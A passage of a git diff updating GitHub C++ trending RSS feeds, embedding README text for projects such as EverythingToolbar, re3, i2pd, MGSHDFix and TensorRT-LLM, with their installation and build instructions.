properties</td> </tr> <tr> <td><kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>Enter</kbd></td> <td>Run as admin</td> </tr> <tr> <td>(<kbd>Shift</kbd>+)<kbd>Tab</kbd></td> <td>Cycle through filters</td> </tr> <tr> <td><kbd>Ctrl</kbd>+<kbd>0-9</kbd></td> <td>Select filter</td> </tr> <tr> <td><kbd>Space</kbd></td> <td>Preview file in <a href="https://github.com/QL-Win/QuickLook">QuickLook</a></td> </tr> <tr> <td><kbd>Win</kbd>+<kbd>Alt</kbd>+<kbd>S</kbd></td> <td>Focus search box (customizable)</td> </tr> </tbody> </table> <h2>Installation</h2> <ul> <li>Make sure you are running Windows 10 or 11 and <a href="https://www.voidtools.com">Everything</a> ≥ 1.4.1 is installed and running (the Lite version is not supported)</li> <li>Install EverythingToolbar using one of the following methods <ul> <li>Download the installer for <a href="https://github.com/srwi/EverythingToolbar/releases">EverythingToolbar</a></li> <li><a href="https://chocolatey.org/">Chocolatey</a>: <code>choco install everythingtoolbar</code></li> <li><a href="https://github.com/microsoft/winget-cli/">winget</a>: <code>winget install everythingtoolbar</code></li> <li><a href="https://github.com/srwi/EverythingToolbar/wiki/Installation-per-user-(experimental)">Manual installation</a> without admin privileges (not recommended)</li> </ul> </li> <li><strong>Note:</strong> For Everything 1.5a the instance name <code>1.5a</code> must be set in the EverythingToolbar settings.</li> </ul> <h2>Setup</h2> <h3>Search icon</h3> <p><em>Recommended for <strong>unmodified Windows 11</strong> installations</em></p> <ul> <li> <p>After installation on Windows 11 the setup assistant will guide you through the setup process</p> <blockquote> <p>If the setup assistant did not start automatically, search for <code>EverythingToolbar</code> in the Windows Start menu.</p> </blockquote> <blockquote> <p>If you want to use the search icon on Windows 10 (not recommended), search for <code>EverythingToolbar.Launcher.exe</code>, start it manually and follow the setup process.</p> </blockquote> </li> </ul> <h3>Deskband</h3> <p><em>Recommended for <strong>Windows 10</strong> or in combination with <a href="https://github.com/valinet/ExplorerPatcher">ExplorerPatcher</a>/<a href="https://www.startallback.com/">StartAllBack</a></em></p> <ul> <li> <p>After installation on Windows 10, activate EverythingToolbar from the taskbar context menu</p> <blockquote> <p>You will need to open the context menu twice, as EverythingToolbar will not appear the first time.</p> </blockquote> <blockquote> <p><strong>Windows 11 only</strong>: After installation, the search icon setup assistant will start automatically. If you want to use the deskband instead (only recommended in combination with ExplorerPatcher/StartAllback), close the assistant and end EverythingToolbar's background process via the taskbar tray icon.</p> </blockquote> </li> <li> <p>Adjust size and position after unlocking the taskbar (<a href="https://user-images.githubusercontent.com/17520641/107118574-19a1bf80-6882-11eb-843a-7e854e5d0684.gif">Demonstration video</a>)</p> </li> </ul> <h2>Build</h2> <ul> <li>Open the solution in Visual Studio with .NET Framework 4.7 support</li> <li>Disable signing in project properties</li> <li>Deskband: <ul> <li>Build project <code>EverythingToolbar.Deskband</code> (Windows Explorer will be restarted)</li> <li>Install the toolbar deskband by running <code>/tools/install_deskband.cmd</code> as admin</li> </ul> </li> <li>Search icon: <ul> <li>Set <code>EverythingToolbar.Launcher</code> as startup project and start debugging</li> </ul> </li> </ul> <h2>Contribute</h2> <p>All kinds of contributions (questions, bug reports, pull requests) are welcome! Helping with open issues is greatly appreciated. As a basic rule, before filing issues, feature requests or anything else, take a look at the issues and check if they have already been reported by another user. If so, engage in the already existing discussion.</p> <p>You can also help by <a href="https://crowdin.com/project/everythingtoolbar">translating EverythingToolbar</a>.</p> - - \ No newline at end of file diff --git a/c++/daily/index.xml b/c++/daily/index.xml index dc3d103e0ec..3682d05be44 100644 --- a/c++/daily/index.xml +++ b/c++/daily/index.xml @@ -1,28 +1,14 @@ GitHub C++ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:28:31Z + 2023-10-30T01:25:25Z Daily Trending of C++ in GitHub - halpz/re3 - 2023-10-29T01:28:31Z - tag:github.com,2023-10-29:/halpz/re3 - - <p></p><hr><img src="https://github.com/halpz/re3/raw/master/res/images/logo_1024.png?raw=true" alt="re3 logo" width="200"> <p><a href="https://actions-badge.atrox.dev/GTAmodding/re3/goto?ref=master"><img src="https://img.shields.io/endpoint.svg?url=https%3A%2F%2Factions-badge.atrox.dev%2FGTAmodding%2Fre3%2Fbadge%3Fref%3Dmaster&amp;style=flat" alt="Build Status"></a> <a href="https://discord.gg/RFNbjsUMGg"><img src="https://img.shields.io/badge/discord-join-7289DA.svg?logo=discord&amp;longCache=true&amp;style=flat"></a></p> <h2>Intro</h2> <p>In this repository you'll find the fully reversed source code for GTA III (<a href="https://github.com/halpz/re3/tree/master/">master</a> branch) and GTA VC (<a href="https://github.com/halpz/re3/tree/miami/">miami</a> branch).</p> <p>It has been tested and works on Windows, Linux, MacOS and FreeBSD, on x86, amd64, arm and arm64.<br> Rendering is handled either by original RenderWare (D3D8) or the reimplementation <a href="https://github.com/aap/librw">librw</a> (D3D9, OpenGL 2.1 or above, OpenGL ES 2.0 or above).<br> Audio is done with MSS (using dlls from original GTA) or OpenAL.</p> <p>The project has also been ported to the <a href="https://github.com/AGraber/re3-nx/">Nintendo Switch</a>, <a href="https://github.com/Rinnegatamante/re3">Playstation Vita</a> and <a href="https://github.com/GaryOderNichts/re3-wiiu/">Nintendo Wii U</a>.</p> <p>We cannot build for PS2 or Xbox yet. If you're interested in doing so, get in touch with us.</p> <h2>Installation</h2> <ul> <li>re3 requires PC game assets to work, so you <strong>must</strong> own <a href="https://store.steampowered.com/app/12100/Grand_Theft_Auto_III/">a copy of GTA III</a>.</li> <li>Build re3 or download the latest build: <ul> <li><a href="https://nightly.link/GTAmodding/re3/workflows/re3_msvc_x86/master/re3_Release_win-x86-librw_d3d9-mss.zip">Windows D3D9 MSS 32bit</a></li> <li><a href="https://nightly.link/GTAmodding/re3/workflows/re3_msvc_amd64/master/re3_Release_win-amd64-librw_d3d9-oal.zip">Windows D3D9 64bit</a></li> <li><a href="https://nightly.link/GTAmodding/re3/workflows/re3_msvc_amd64/master/re3_Release_win-amd64-librw_gl3_glfw-oal.zip">Windows OpenGL 64bit</a></li> <li><a href="https://nightly.link/GTAmodding/re3/workflows/build-cmake-conan/master/ubuntu-18.04-gl3.zip">Linux 64bit</a></li> <li><a href="https://nightly.link/GTAmodding/re3/workflows/build-cmake-conan/master/macos-latest-gl3.zip">MacOS 64bit x86-64</a></li> </ul> </li> <li>Extract the downloaded zip over your GTA 3 directory and run re3. The zip includes the binary, updated and additional gamefiles and in case of OpenAL the required dlls.</li> </ul> <h2>Screenshots</h2> <p><img src="https://user-images.githubusercontent.com/1521437/107704085-fbdabd00-6cbc-11eb-8406-8951a80ccb16.png" alt="re3 2021-02-11 22-57-03-23"> <img src="https://user-images.githubusercontent.com/1521437/107703339-cbdeea00-6cbb-11eb-8f0b-07daa105d470.png" alt="re3 2021-02-11 22-43-44-98"> <img src="https://user-images.githubusercontent.com/1521437/107703343-cd101700-6cbb-11eb-9ccd-012cb90524b7.png" alt="re3 2021-02-11 22-46-33-76"> <img src="https://user-images.githubusercontent.com/1521437/107703348-d00b0780-6cbb-11eb-8afd-054249c2b95e.png" alt="re3 2021-02-11 22-50-29-54"></p> <h2>Improvements</h2> <p>We have implemented a number of changes and improvements to the original game. They can be configured in <code>core/config.h</code>. Some of them can be toggled at runtime, some cannot.</p> <ul> <li>Fixed a lot of smaller and bigger bugs</li> <li>User files (saves and settings) stored in GTA root directory</li> <li>Settings stored in re3.ini file instead of gta3.set</li> <li>Debug menu to do and change various things (Ctrl-M to open)</li> <li>Debug camera (Ctrl-B to toggle)</li> <li>Rotatable camera</li> <li>XInput controller support (Windows)</li> <li>No loading screens between islands ("map memory usage" in menu)</li> <li>Skinned ped support (models from Xbox or Mobile)</li> <li>Rendering <ul> <li>Widescreen support (properly scaled HUD, Menu and FOV)</li> <li>PS2 MatFX (vehicle reflections)</li> <li>PS2 alpha test (better rendering of transparency)</li> <li>PS2 particles</li> <li>Xbox vehicle rendering</li> <li>Xbox world lightmap rendering (needs Xbox map)</li> <li>Xbox ped rim light</li> <li>Xbox screen rain droplets</li> <li>More customizable colourfilter</li> </ul> </li> <li>Menu <ul> <li>Map</li> <li>More options</li> <li>Controller configuration menu</li> <li>...</li> </ul> </li> <li>Can load DFFs and TXDs from other platforms, possibly with a performance penalty</li> <li>...</li> </ul> <h2>To-Do</h2> <p>The following things would be nice to have/do:</p> <ul> <li>Fix physics for high FPS</li> <li>Improve performance on lower end devices, especially the OpenGL layer on the Raspberry Pi (if you have experience with this, please get in touch)</li> <li>Compare code with PS2 code (tedious, no good decompiler)</li> <li><a href="https://web.archive.org/web/20210217192931/https://github.com/GTAmodding/re3/wiki/PS2-port">PS2 port</a></li> <li>Xbox port (not quite as important)</li> <li>reverse remaining unused/debug functions</li> <li>compare CodeWarrior build with original binary for more accurate code (very tedious)</li> </ul> <h2>Modding</h2> <p>Asset modifications (models, texture, handling, script, ...) should work the same way as with original GTA for the most part.</p> <p>CLEO scripts work with <a href="https://github.com/cleolibrary/CLEO-Redux">CLEO Redux</a>.</p> <p>Mods that make changes to the code (dll/asi, limit adjusters) will <em>not</em> work. Some things these mods do are already implemented in re3 (much of SkyGFX, GInput, SilentPatch, Widescreen fix), others can easily be achieved (increasing limis, see <code>config.h</code>), others will simply have to be rewritten and integrated into the code directly. Sorry for the inconvenience.</p> <h2>Building from Source</h2> <p>When using premake, you may want to point GTA_III_RE_DIR environment variable to GTA3 root folder if you want the executable to be moved there via post-build script.</p> <p>Clone the repository with <code>git clone --recursive https://github.com/halpz/re3.git</code>. Then <code>cd re3</code> into the cloned repository.</p> <details> <summary>Linux Premake</summary> <p>For Linux using premake, proceed: <a href="https://web.archive.org/web/20210217192751/https://github.com/GTAmodding/re3/wiki/Building-on-Linux">Building on Linux</a></p> </details> <details> <summary>Linux Conan</summary> <p>Install python and conan, and then run build.</p> <pre><code>conan export vendor/librw librw/master@ mkdir build cd build conan install .. re3/master@ -if build -o re3:audio=openal -o librw:platform=gl3 -o librw:gl3_gfxlib=glfw --build missing -s re3:build_type=RelWithDebInfo -s librw:build_type=RelWithDebInfo conan build .. -if build -bf build -pf package </code></pre> </details> <details> <summary>MacOS Premake</summary> <p>For MacOS using premake, proceed: <a href="https://web.archive.org/web/20210717004757/https://github.com/GTAmodding/re3/wiki/Building-on-MacOS">Building on MacOS</a></p> </details> <details> <summary>FreeBSD</summary> <p>For FreeBSD using premake, proceed: <a href="https://web.archive.org/web/20210217192740/https://github.com/GTAmodding/re3/wiki/Building-on-FreeBSD">Building on FreeBSD</a></p> </details> <details> <summary>Windows</summary> <p>Assuming you have Visual Studio 2015/2017/2019:</p> <ul> <li>Run one of the <code>premake-vsXXXX.cmd</code> variants on root folder.</li> <li>Open build/re3.sln with Visual Studio and compile the solution.</li> </ul> <p>Microsoft recently discontinued its downloads of the DX9 SDK. You can download an archived version here: <a href="https://archive.org/details/dxsdk_jun10">https://archive.org/details/dxsdk_jun10</a></p> <p><strong>If you choose OpenAL on Windows</strong> You must read <a href="https://web.archive.org/web/20210217192855/https://github.com/GTAmodding/re3/wiki/Running-OpenAL-build-on-Windows">Running OpenAL build on Windows</a>.</p> </details> <blockquote> <p><span>ℹ</span> premake has an <code>--with-lto</code> option if you want the project to be compiled with Link Time Optimization.</p> </blockquote> <blockquote> <p><span>ℹ</span> There are various settings in <a href="https://github.com/halpz/re3/tree/master/src/core/config.h">config.h</a>, you may want to take a look there.</p> </blockquote> <blockquote> <p><span>ℹ</span> re3 uses completely homebrew RenderWare-replacement rendering engine; <a href="https://github.com/aap/librw/">librw</a>. librw comes as submodule of re3, but you also can use LIBRW enviorenment variable to specify path to your own librw.</p> </blockquote> <p>If you feel the need, you can also use CodeWarrior 7 to compile re3 using the supplied codewarrior/re3.mcp project - this requires the original RW33 libraries, and the DX8 SDK. The build is unstable compared to the MSVC builds though, and is mostly meant to serve as a reference.</p> <h2>Contributing</h2> <p>As long as it's not linux/cross-platform skeleton/compatibility layer, all of the code on the repo that's not behind a preprocessor condition(like FIX_BUGS) are <strong>completely</strong> reversed code from original binaries.</p> <p>We <strong>don't</strong> accept custom codes, as long as it's not wrapped via preprocessor conditions, or it's linux/cross-platform skeleton/compatibility layer.</p> <p>We accept only these kinds of PRs;</p> <ul> <li>A new feature that exists in at least one of the GTAs (if it wasn't in III/VC then it doesn't have to be decompilation)</li> <li>Game, UI or UX bug fixes (if it's a fix to original code, it should be behind FIX_BUGS)</li> <li>Platform-specific and/or unused code that's not been reversed yet</li> <li>Makes reversed code more understandable/accurate, as in "which code would produce this assembly".</li> <li>A new cross-platform skeleton/compatibility layer, or improvements to them</li> <li>Translation fixes, for languages original game supported</li> <li>Code that increase maintainability</li> </ul> <p>We have a <a href="https://github.com/halpz/re3/raw/master/CODING_STYLE.md">Coding Style</a> document that isn't followed or enforced very well.</p> <p>Do not use features from C++11 or later.</p> <h2>History</h2> <p>re3 was started sometime in the spring of 2018, initially as a way to test reversed collision and physics code inside the game. This was done by replacing single functions of the game with their reversed counterparts using a dll.</p> <p>After a bit of work the project lay dormant for about a year and was picked up again and pushed to github in May 2019. At the time I (aap) had reversed around 10k lines of code and estimated the final game to have around 200-250k. Others quickly joined the effort (Fire_Head, shfil, erorcun and Nick007J in time order, and Serge a bit later) and we made very quick progress throughout the summer of 2019 after which the pace slowed down a bit.</p> <p>Due to everyone staying home during the start of the Corona pandemic everybody had a lot of time to work on re3 again and we finally got a standalone exe in April 2020 (around 180k lines by then).</p> <p>After the initial excitement and fixing and polishing the code further, reVC was started in early May 2020 by starting from re3 code, not by starting from scratch replacing functions with a dll. After a few months of mostly steady progress we considered reVC finished in December.</p> <p>Since then we have started reLCS, which is currently work in progress.</p> <h2>License</h2> <p>We don't feel like we're in a position to give this code a license.<br> The code should only be used for educational, documentation and modding purposes.<br> We do not encourage piracy or commercial use.<br> Please keep derivate work open source and give proper credit.</p> - - - GaijinEntertainment/DagorEngine - 2023-10-29T01:28:31Z - tag:github.com,2023-10-29:/GaijinEntertainment/DagorEngine - - <p>Dagor Engine and Tools source code from Gaijin Games KFT</p><hr> - - - PurpleI2P/i2pd - 2023-10-29T01:28:31Z - tag:github.com,2023-10-29:/PurpleI2P/i2pd - - <p>🛡 I2P: End-to-End encrypted and anonymous Internet</p><hr><p><a href="https://github.com/PurpleI2P/i2pd/releases/latest"><img src="https://img.shields.io/github/release/PurpleI2P/i2pd.svg?label=latest%20release" alt="GitHub release"></a> <a href="https://snapcraft.io/i2pd"><img src="https://snapcraft.io/i2pd/badge.svg?sanitize=true" alt="Snapcraft release"></a> <a href="https://github.com/PurpleI2P/i2pd/raw/openssl/LICENSE"><img src="https://img.shields.io/github/license/PurpleI2P/i2pd.svg?sanitize=true" alt="License"></a> <a href="https://repology.org/project/i2pd/versions"><img src="https://repology.org/badge/tiny-repos/i2pd.svg?sanitize=true" alt="Packaging status"></a> <a href="https://hub.docker.com/r/purplei2p/i2pd"><img src="https://img.shields.io/docker/pulls/purplei2p/i2pd" alt="Docker Pulls"></a> <a href="https://crowdin.com/project/i2pd"><img src="https://badges.crowdin.net/i2pd/localized.svg?sanitize=true" alt="Crowdin"></a></p> <p><em>note: i2pd for Android can be found in <a href="https://github.com/PurpleI2P/i2pd-android">i2pd-android</a> repository and with Qt GUI in <a href="https://github.com/PurpleI2P/i2pd-qt">i2pd-qt</a> repository</em></p> <h1>i2pd</h1> <p><a href="https://github.com/PurpleI2P/i2pd_docs_ru/raw/master/README.md">Русская версия</a></p> <p>i2pd (I2P Daemon) is a full-featured C++ implementation of I2P client.</p> <p>I2P (Invisible Internet Protocol) is a universal anonymous network layer.<br> All communications over I2P are anonymous and end-to-end encrypted, participants don't reveal their real IP addresses.</p> <p>I2P client is a software used for building and using anonymous I2P networks. Such networks are commonly used for anonymous peer-to-peer applications (filesharing, cryptocurrencies) and anonymous client-server applications (websites, instant messengers, chat-servers).</p> <p>I2P allows people from all around the world to communicate and share information without restrictions.</p> <h2>Features</h2> <ul> <li>Distributed anonymous networking framework</li> <li>End-to-end encrypted communications</li> <li>Small footprint, simple dependencies, fast performance</li> <li>Rich set of APIs for developers of secure applications</li> </ul> <h2>Resources</h2> <ul> <li><a href="http://i2pd.website">Website</a></li> <li><a href="https://i2pd.readthedocs.io/en/latest/">Documentation</a></li> <li><a href="https://github.com/PurpleI2P/i2pd/wiki">Wiki</a></li> <li><a href="https://github.com/PurpleI2P/i2pd/issues">Tickets/Issues</a></li> <li><a href="https://geti2p.net/spec">Specifications</a></li> <li><a href="https://twitter.com/hashtag/i2pd">Twitter</a></li> </ul> <h2>Installing</h2> <p>The easiest way to install i2pd is by using precompiled packages and binaries. You can fetch most of them on <a href="https://github.com/PurpleI2P/i2pd/releases/latest">release</a> page.<br> Please see <a href="https://i2pd.readthedocs.io/en/latest/user-guide/install/">documentation</a> for more info.</p> <h2>Building</h2> <p>See <a href="https://i2pd.readthedocs.io/en/latest/">documentation</a> for how to build i2pd from source on your OS.</p> <p>note: i2pd with Qt GUI can be found in <a href="https://github.com/PurpleI2P/i2pd-qt">i2pd-qt</a> repository and for android in <a href="https://github.com/PurpleI2P/i2pd-android">i2pd-android</a> repository.</p> <p>Build instructions:</p> <ul> <li><a href="https://i2pd.readthedocs.io/en/latest/devs/building/unix/">unix</a></li> <li><a href="https://i2pd.readthedocs.io/en/latest/devs/building/windows/">windows</a></li> <li><a href="https://i2pd.readthedocs.io/en/latest/devs/building/ios/">iOS</a></li> <li><a href="https://i2pd.readthedocs.io/en/latest/devs/building/android/">android</a></li> </ul> <p><strong>Supported systems:</strong></p> <ul> <li>GNU/Linux (Debian, Ubuntu, etc) - <a href="https://github.com/PurpleI2P/i2pd/actions/workflows/build.yml"><img src="https://github.com/PurpleI2P/i2pd/actions/workflows/build.yml/badge.svg?sanitize=true" alt="Build on Ubuntu"></a></li> <li>CentOS, Fedora, Mageia - <a href="https://copr.fedorainfracloud.org/coprs/supervillain/i2pd/package/i2pd-git/"><img src="https://copr.fedorainfracloud.org/coprs/supervillain/i2pd/package/i2pd-git/status_image/last_build.png" alt="Build Status"></a></li> <li>Alpine, ArchLinux, openSUSE, Gentoo, etc.</li> <li>Windows - <a href="https://github.com/PurpleI2P/i2pd/actions/workflows/build-windows.yml"><img src="https://github.com/PurpleI2P/i2pd/actions/workflows/build-windows.yml/badge.svg?sanitize=true" alt="Build on Windows"></a></li> <li>Mac OS - <a href="https://github.com/PurpleI2P/i2pd/actions/workflows/build-osx.yml"><img src="https://github.com/PurpleI2P/i2pd/actions/workflows/build-osx.yml/badge.svg?sanitize=true" alt="Build on OSX"></a></li> <li>Docker image - <a href="https://github.com/PurpleI2P/i2pd/actions/workflows/docker.yml"><img src="https://github.com/PurpleI2P/i2pd/actions/workflows/docker.yml/badge.svg?sanitize=true" alt="Build containers"></a></li> <li>Snap - <a href="https://snapcraft.io/i2pd"><img src="https://snapcraft.io/i2pd/badge.svg?sanitize=true" alt="i2pd"></a> <a href="https://snapcraft.io/i2pd"><img src="https://snapcraft.io/i2pd/trending.svg?name=0" alt="i2pd"></a></li> <li>FreeBSD - <a href="https://github.com/PurpleI2P/i2pd/actions/workflows/build-freebsd.yml"><img src="https://github.com/PurpleI2P/i2pd/actions/workflows/build-freebsd.yml/badge.svg?sanitize=true" alt="Build on FreeBSD"></a></li> <li>Android - <a href="https://github.com/PurpleI2P/i2pd-android/actions/workflows/android.yml"><img src="https://github.com/PurpleI2P/i2pd-android/actions/workflows/android.yml/badge.svg?sanitize=true" alt="Android CI"></a></li> <li>iOS</li> </ul> <h2>Using i2pd</h2> <p>See <a href="https://i2pd.readthedocs.io/en/latest/user-guide/run/">documentation</a> and <a href="https://github.com/PurpleI2P/i2pd/raw/openssl/contrib/i2pd.conf">example config file</a>.</p> <h2>Localization</h2> <p>You can help us with translation i2pd to your language using Crowdin platform! Translation project can be found <a href="https://crowdin.com/project/i2pd">here</a>.</p> <p>New languages can be requested on project's <a href="https://crowdin.com/project/i2pd/discussions">discussion page</a>.</p> <p>Current status: <a href="https://crowdin.com/project/i2pd"><img src="https://badges.crowdin.net/i2pd/localized.svg?sanitize=true" alt="Crowdin"></a></p> <h2>Donations</h2> <p><strong>E-Mail</strong>: <code>i2porignal at yandex.com</code></p> <p><strong>BTC</strong>: <code>3MDoGJW9TLMTCDGrR9bLgWXfm6sjmgy86f</code></p> <p><strong>LTC</strong>: <code>LKQirrYrDeTuAPnpYq5y7LVKtywfkkHi59</code></p> <p><strong>ETH</strong>: <code>0x9e5bac70d20d1079ceaa111127f4fb3bccce379d</code></p> <p><strong>GST</strong>: <code>GbD2JSQHBHCKLa9WTHmigJRpyFgmBj4woG</code></p> <p><strong>DASH</strong>: <code>Xw8YUrQpYzP9tZBmbjqxS3M97Q7v3vJKUF</code></p> <p><strong>ZEC</strong>: <code>t1cTckLuXsr1dwVrK4NDzfhehss4NvMadAJ</code></p> <p><strong>ANC</strong>: <code>AQJYweYYUqM1nVfLqfoSMpUMfzxvS4Xd7z</code></p> <p><strong>XMR</strong>: <code>497pJc7X4xqKvcLBLpSUtRgWqMMyo24u4btCos3cak6gbMkpobgSU6492ztUcUBghyeHpYeczB55s38NpuHoH5WGNSPDRMH</code></p> <h2>License</h2> <p>This project is licensed under the BSD 3-clause license, which can be found in the file LICENSE in the root of the project source code.</p> + Lyall/MGSHDFix + 2023-10-30T01:25:25Z + tag:github.com,2023-10-30:/Lyall/MGSHDFix + + <p>A work-in-progress fix that aims to add custom resolutions and ultrawide support to Metal Gear Solid Master Collection.</p><hr><h1>Metal Gear Solid Master Collection Fix</h1> <p><a href="https://ko-fi.com/W7W01UAI9"><img src="https://ko-fi.com/img/githubbutton_sm.svg?sanitize=true" alt="ko-fi"></a><br> <a href="https://github.com/Lyall/MGSHDFix/releases"><img src="https://img.shields.io/github/downloads/Lyall/MGSHDFix/total.svg?sanitize=true" alt="Github All Releases"></a></p> <p>This is a <strong>work-in-progress</strong> fix that aims to add custom resolutions and ultrawide support to Metal Gear Solid Master Collection.<br></p> <h2>Games Supported</h2> <ul> <li>Metal Gear 1/2</li> <li>Metal Gear Solid 2</li> <li>Metal Gear Solid 3</li> </ul> <h2>Features</h2> <ul> <li>Custom resolution/ultrawide support.</li> <li>Borderless/windowed mode.</li> <li>Mouse cursor toggle.</li> <li>Mouse sensitivty adjustment (MGS3).</li> <li>Correct gameplay/cutscene aspect ratio (MGS2/MGS3).</li> <li>Skip intro logos (MGS2/MGS3.</li> </ul> <h2>Installation</h2> <ul> <li>Grab the latest release of MGSHDFix from <a href="https://github.com/Lyall/MGSHDFix/releases">here.</a></li> <li>Extract the contents of the release zip in to the the game folder.<br>(e.g. "<strong>steamapps\common\MGS2</strong>" or "<strong>steamapps\common\MGS3</strong>" for Steam).</li> </ul> <h2>Configuration</h2> <ul> <li>See <strong>MGSHDFix.ini</strong> to adjust settings for the fix.</li> </ul> <h2>Known Issues</h2> <p>Please report any issues you see. This list will contain bugs which may or may not be fixed.</p> <h3>MG1/MG2</h3> <ul> <li>Game window is stretched at non 16:9 resolutions.</li> </ul> <h3>MGS 2</h3> <ul> <li>Strength of post-processing is reduced at higher resolutions.</li> </ul> <h3>MGS 3</h3> <ul> <li>Strength of post-processing is reduced at higher resolutions.</li> </ul> <h2>Screenshots</h2> <table> <thead> <tr> <th align="center"><img src="https://github.com/Lyall/MGSHDFix/assets/695941/b01453c7-b4ee-4903-bd34-340371873ecb" alt="ezgif-3-82fd6eedda"></th> </tr> </thead> <tbody> <tr> <td align="center">Metal Gear Solid 2</td> </tr> </tbody> </table> <table> <thead> <tr> <th align="center"><img src="https://github.com/Lyall/MGSHDFix/assets/695941/5530a42e-6b6a-4eb0-a714-ba3e7c3a1dc3" alt="ezgif-3-982e93f49a"></th> </tr> </thead> <tbody> <tr> <td align="center">Metal Gear Solid 3</td> </tr> </tbody> </table> <h2>Credits</h2> <p><a href="https://github.com/emoose">@emoose</a> for contributing fixes. <br> <a href="https://github.com/ThirteenAG/Ultimate-ASI-Loader">Ultimate ASI Loader</a> for ASI loading. <br> <a href="https://github.com/mcmtroffaes/inipp">inipp</a> for ini reading. <br> <a href="https://github.com/emilk/loguru">Loguru</a> for logging. <br> <a href="https://github.com/Nomade040/length-disassembler">length-disassembler</a> for length disassembly.</p> \ No newline at end of file diff --git a/c++/weekly/index.xml b/c++/weekly/index.xml deleted file mode 100644 index 1582d54ce09..00000000000 --- a/c++/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub C++ Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:48:29Z - Weekly Trending of C++ in GitHub - - - NVIDIA/TensorRT-LLM - 2023-10-29T01:48:29Z - tag:github.com,2023-10-29:/NVIDIA/TensorRT-LLM - - <p>TensorRT-LLM provides users with an easy-to-use Python API to define Large Language Models (LLMs) and build TensorRT engines that contain state-of-the-art optimizations to perform inference efficiently on NVIDIA GPUs. TensorRT-LLM also contains components to create Python and C++ runtimes that execute those TensorRT engines.</p><hr><div align="center"> <h1>TensorRT-LLM</h1> <h4> A TensorRT Toolbox for Large Language Models </h4> <p><a href="https://nvidia.github.io/TensorRT-LLM/"><img src="https://img.shields.io/badge/docs-latest-brightgreen.svg?style=flat" alt="Documentation"></a> <a href="https://www.python.org/downloads/release/python-31012/"><img src="https://img.shields.io/badge/python-3.10.12-green" alt="python"></a> <a href="https://developer.nvidia.com/cuda-downloads"><img src="https://img.shields.io/badge/cuda-12.2-green" alt="cuda"></a> <a href="https://developer.nvidia.com/tensorrt"><img src="https://img.shields.io/badge/TRT-9.1-green" alt="trt"></a> <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/setup.py"><img src="https://img.shields.io/badge/release-0.5.0-green" alt="version"></a> <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/LICENSE"><img src="https://img.shields.io/badge/license-Apache%202-blue" alt="license"></a></p> <p><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/architecture.md">Architecture</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;<a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/performance.md">Results</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;<a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/examples/">Examples</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;<a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/docs/source/">Documentation</a></p> <hr> <div align="left"> <h2>Table of Contents</h2> <ul> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#tensorrt-llm-overview">TensorRT-LLM Overview</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#installation">Installation</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#quick-start">Quick Start</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#support-matrix">Support Matrix</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#performance">Performance</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#advanced-topics">Advanced Topics</a> <ul> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#quantization">Quantization</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#in-flight-batching">In-flight Batching</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#attention">Attention</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#graph-rewriting">Graph Rewriting</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#benchmarking">Benchmarking</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#troubleshooting">Troubleshooting</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#release-notes">Release Notes</a> <ul> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#changelog">Changelog</a></li> <li><a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/#known-issues">Known issues</a></li> </ul> </li> </ul> <h2>TensorRT-LLM Overview</h2> <p>TensorRT-LLM provides users with an easy-to-use Python API to define Large Language Models (LLMs) and build <a href="https://developer.nvidia.com/tensorrt">TensorRT</a> engines that contain state-of-the-art optimizations to perform inference efficiently on NVIDIA GPUs. TensorRT-LLM also contains components to create Python and C++ runtimes that execute those TensorRT engines. It also includes a <a href="https://github.com/triton-inference-server/tensorrtllm_backend">backend</a> for integration with the <a href="https://developer.nvidia.com/nvidia-triton-inference-server">NVIDIA Triton Inference Server</a>; a production-quality system to serve LLMs. Models built with TensorRT-LLM can be executed on a wide range of configurations going from a single GPU to multiple nodes with multiple GPUs (using <a href="https://docs.nvidia.com/deeplearning/nemo/user-guide/docs/en/stable/nlp/nemo_megatron/parallelisms.html#tensor-parallelism">Tensor Parallelism</a> and/or <a href="https://docs.nvidia.com/deeplearning/nemo/user-guide/docs/en/stable/nlp/nemo_megatron/parallelisms.html#pipeline-parallelism">Pipeline Parallelism</a>).</p> <p>The Python API of TensorRT-LLM is architectured to look similar to the <a href="https://pytorch.org">PyTorch</a> API. It provides users with a <a href="https://raw.githubusercontent.com/NVIDIA/TensorRT-LLM/release/0.5.0/tensorrt_llm/functional.py">functional</a> 